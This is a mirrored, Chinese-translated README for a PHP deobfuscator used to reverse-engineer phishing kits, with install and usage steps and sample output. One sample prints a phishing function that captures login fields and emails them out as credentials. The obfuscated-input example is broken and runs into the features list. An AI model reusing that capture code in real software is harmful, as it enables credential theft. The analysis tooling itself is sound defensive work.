bl4d3rvnner7/php-deobfuscator

GitHub: bl4d3rvnner7/php-deobfuscator

一款基于 AST 的 PHP 解混淆工具,用于逆向分析钓鱼工具包及重度混淆的恶意代码,将其还原为干净可读的源文件。

Stars: 1 | Forks: 0

![PHP](https://img.shields.io/badge/PHP-7.1%2B-777BB4?style=for-the-badge&logo=php&logoColor=white) ![Parser](https://img.shields.io/badge/nikic%2Fphp--parser-v5.x-8892BF?style=for-the-badge) ![Approach](https://img.shields.io/badge/Engine-AST%20based-orange?style=for-the-badge) ![Output](https://img.shields.io/badge/Output-Clean%20PHP%20%7C%20Docblocks-blue?style=for-the-badge) ![PRs Welcome](https://img.shields.io/badge/PRs-Welcome-blueviolet?style=for-the-badge) # 🧬 php-deobfuscator - 通用 PHP Deobfuscator **一个基于 AST 的 PHP 解混淆工具,专门用于破解钓鱼工具包所使用的 `${"\x47\x4c\x4f\x42\x41\x4c\x53"}[...]` / `$GLOBALS["key"]` 可变变量混淆。** 它会解码十六进制/八进制转义字符串,折叠常量表达式,将间接的可变变量查找解析回真实名称,剥离无用的诱饵赋值,并美化输出干净、可运行的 PHP 代码。 该工具基于 **nikic/php-parser v5.x** 构建,因此它是在真实的语法树上运行,而不是依赖脆弱的正则表达式查找和替换。 非常适合用于逆向工程、恶意软件分析、钓鱼工具包分类以及理解混淆的 PHP 代码。 ![Showcase](https://static.pigsec.cn/wp-content/uploads/repos/cas/ad/ad8e64488ee3ccf3ef5ad59fa0d7c5effadbdb6a972791b94bbb5744c74051e3.png) ## 📑 目录 - [本工具针对的混淆](#the-obfuscation-this-targets) - [功能](#features) - [环境要求](#requirements) - [安装](#installation) - [用法](#usage) - [基本命令](#basic-commands) - [示例](#examples) - [输出示例](#sample-output) - [控制台报告](#console-report) - [生成的 Docblock](#generated-docblocks) - [工作原理](#how-it-works) - [待办事项](#todo) - [疑难解答](#troubleshooting) - [贡献](#contributing) - [免责声明](#disclaimer) - [许可证](#license) - [支持](#support) - [链接](#links) ## 本工具针对的混淆 如果你正在对钓鱼工具包进行逆向工程,并且源代码看起来像这样——一整面由十六进制转义的 `$GLOBALS` 键组成的墙,用于提供可变变量查找——那么这个工具就是为你准备的: ``` _deobfuscated.`,保留原始扩展名 - [x] **对 CI 友好** - 在管道输出或设置了 `NO_COLOR` 时自动关闭颜色 - [x] **迭代执行** - 重复运行处理步骤,直到 AST 不再改变(可处理嵌套层) ## 环境要求 - PHP **7.1+**(推荐 PHP 8.x) - [nikic/php-parser](https://github.com/nikic/PHP-Parser) **v5.x** ``` composer require nikic/php-parser ``` ## 安装 ``` # Clone repository git clone https://github.com/bl4d3rvnner7/php-deobfuscator.git cd php-deobfuscator # 安装 parser dependency (创建 vendor/autoload.php) composer require nikic/php-parser # 可选:全局安装 sudo ln -s "$(pwd)/universal-deobfuscator.php" /usr/local/bin/php-deobfuscator ``` ## 用法 ### 基本命令 | 命令 | 描述 | |---------|-------------| | `php universal-deobfuscator.php input.php` | 解混淆 → `input_deobfuscated.php` | | `php universal-deobfuscator.php input.php out.php` | 解混淆并输出到自定义文件 | | `php universal-deobfuscator.php --doc input.php` | 同时生成启发式 Docblock | | `php universal-deobfuscator.php --merge input.php` | 优先内联本地的 `include`/`require` 文件 | | `php universal-deobfuscator.php --color input.php out.php` | 即使在重定向时也强制开启彩色输出 | | `php universal-deobfuscator.php --help` | 显示用法 | 标志可以自由组合,例如 `--merge --doc`。 ### 示例 ``` # 基本解混淆 (自动输出文件名,同文件夹,同扩展名) php universal-deobfuscator.php index.php # 自定义输出路径 php universal-deobfuscator.php 'phishing_kit/ys/index.php' clean.php # 在每个函数/方法上方添加自动生成的 docblocks php universal-deobfuscator.php --doc index.php # 多文件:在 helpers/config 文件中定义的 keys,在 index.php 中使用 php universal-deobfuscator.php --merge 'phishing_kit/ys/index.php' clean.php # 一次性全部执行:合并 includes,解包 packers,添加 docblocks php universal-deobfuscator.php --merge --doc index.php # 适用于任何扩展名;输出保留该扩展名 php universal-deobfuscator.php login.phtml # -> login_deobfuscated.phtml # 禁用日志 / CI 的颜色 NO_COLOR=1 php universal-deobfuscator.php index.php ``` ## 输出示例 ### 控制台报告 ``` PHP Deobfuscator ------------------------------------------------ [*] Input: index.php (31.92 KB) [*] Merged: 4 files (main.php, block4.php, country.php, index.php) ------------------------------------------------ Transformations [+] Constants folded/decoded 128 [+] Eval-packers unwrapped 2 [+] Indirect refs resolved 96 [+] $GLOBALS decoys removed 74 [+] Dead local assigns removed 41 [+] Docblocks generated 7 passes run: 4 removed vars: $xjzriqum, $kwpthywr, $duwqkzbk, $ctwsktz (+37 more) ------------------------------------------------ [+] Saved: ./index_deobfuscated.php 31.92 KB -> 14.12 KB (56% smaller) ``` ### 生成的 Docblock 使用 `--doc` 时,每个函数都会根据其函数体获得一份推断出的启发式摘要——非常适合用于快速定位工具包捕获和窃取凭证的位置: ``` /** * Handles POST input in capture_login(). * * Side effects: sends email (mail); sends HTTP headers / redirects; reads or writes session data. * * Captured fields: xpass, xuser. */ function capture_login() { $ID = $_POST["xuser"]; $PW = $_POST["xpass"]; $_SESSION["xusername"] = $ID; $_SESSION["xpassword"] = $PW; mail($to, "creds", $ID . ":" . $PW); header("Location: thankyou.php"); } ``` **Captured fields**(捕获的字段)行列出了函数读取的 `$_POST` / `$_GET` / `$_COOKIE` / `$_FILES` 确切键名——这是映射工具包窃取内容的最快方法。 ## 工作原理 脚本首先对文件进行一次解析,然后每轮运行一个由多个 AST 处理步骤组成的小型 pipeline,重复执行直到没有任何变化为止: 0. **合并(可选,`--merge`)** - 在执行任何其他操作之前,递归地将带有字面路径的本地 `include`/`require` 目标内联到一个组合源码中,以便在其他文件中定义的键能够被解析。循环引用以及缺失、动态或 URL 路径将被跳过。 1. **解析** - `nikic/php-parser` 构建 AST。字符串字面量中的十六进制/八进制转义符会在这里被安全且免费地解码。 2. **常量折叠** - 常量字符串拼接和纯解码函数调用(`chr`, `base64_decode`, `str_rot13`, `strrev`, `gzinflate`, `gzuncompress`, `hex2bin`)会被折叠为字面量。 3. **Packer 解包** - 一旦折叠操作将 `eval(gzinflate(base64_decode(...)))` 的参数变成了 PHP 字符串字面量,该字符串就会被编译,并且其语句会被拼接到原来 `eval` 的位置。非 PHP 或无法解析的 payload 将保持不变。 4. **收集** - 记录整个文件中对普通变量或 `$GLOBALS["key"]` 的每一个常量字符串赋值,包括单赋值传播(`$GLOBALS["a"] = $GLOBALS["b"]`)。 5. **解析** - `${$GLOBALS["key"]}` 和 `${$var}` 引用会被重写为它们真实的 `$names`,随之变得多余的 `$GLOBALS["key"] = "name";` 代码行将被删除。 6. **死代码清理** - 它会重新计算重写后的语法树上的变量读取次数;任何仅作为间接名称使用(且在其他地方未被读取)的辅助变量,其赋值都会被移除。如果变量在其他地方被真正使用,它将被保留——逻辑永远不会被改变。 7. **Docblock(可选,`--doc`)** - 最后一次处理会检查每个函数/方法,并在其前面添加生成的摘要,包括捕获的输入字段名称。 8. **打印** - 标准的 pretty-printer 会输出干净的、符合 PSR 风格的 PHP 代码。 因为它是在 AST 上操作的,所以它不会像经典的基于正则表达式的解混淆器那样,因为碰巧包含 `{`、`}` 或反斜杠数字序列而破坏字符串内容。 ## 待办事项 ### 已完成 * [x] 基于 AST 的十六进制/八进制解码 * [x] 常量折叠(拼接 + 纯解码函数) * [x] `$GLOBALS` / `${$var}` 可变变量解析 * [x] 无用诱饵赋值移除 * [x] 启发式 Docblock 生成 (`--doc`) * [x] 每个函数捕获的字段名称(例如 "Captured fields: xuser, xpass") * [x] Eval packer 解包 (`eval(gzinflate(base64_decode(...)))`) * [x] 多文件合并(`--merge` 跟随 `include`/`require` 以解析跨文件的键) * [x] 针对 `$GLOBALS["a"] = $GLOBALS["b"]` / `$x = $GLOBALS["a"]` 链的常量传播 * [x] 彩色、适配 CI 的控制台报告 ### 计划中 * [ ] 更多的 packer 模式(ROT/XOR 字符串表,`create_function`,`assert` payload) * [ ] 可选的独立分析报告(窃取端点、重定向)作为单独的标志 * [ ] 反编译提示 / 部分控制流简化 ### 已知限制 * 动态赋值的键(`$GLOBALS[$x] = $y`)或在运行时构建的键无法进行静态解析 * 常量传播是刻意保守的:赋值超过一次的变量永远不会被传播(最后写入优先对于静态工具来说是有歧义的) * `--merge` 只会内联具有字面本地路径的 `include`/`require`;根据设计,URL wrapper 和动态路径将被忽略 * Docblock 只是用于验证的启发式提示,并非权威文档 ## 疑难解答 | 问题 | 解决方案 | |-------|----------| | `Call to undefined method ParserFactory::create()` | 你使用的是 php-parser **v5**;此工具已经使用了 v5 API。请确保你拉取了最新的 `universal-deobfuscator.php`。 | | `require_once vendor/autoload.php` 失败 | 在工具所在目录下运行 `composer require nikic/php-parser`。 | | 输出中仍然显示 `${$GLOBALS["..."]}` | 该键可能存在于一个被包含的文件中——请使用 `--merge` 重新运行。如果仍然存在,说明该键是动态分配的;请参阅[已知限制](#known-limitations)。 | | 打印出 `Parse error`,输出未改变 | 输入的内容不是有效的 PHP(粘贴被截断、缺少 `
标签:DAST, DNS 反向解析, ffuf, odt, OpenVAS, PHP, 云资产清单, 代码解混淆, 恶意软件分析, 抽象语法树, 搜索语句(dork), 自动化payload嵌入, 逆向工程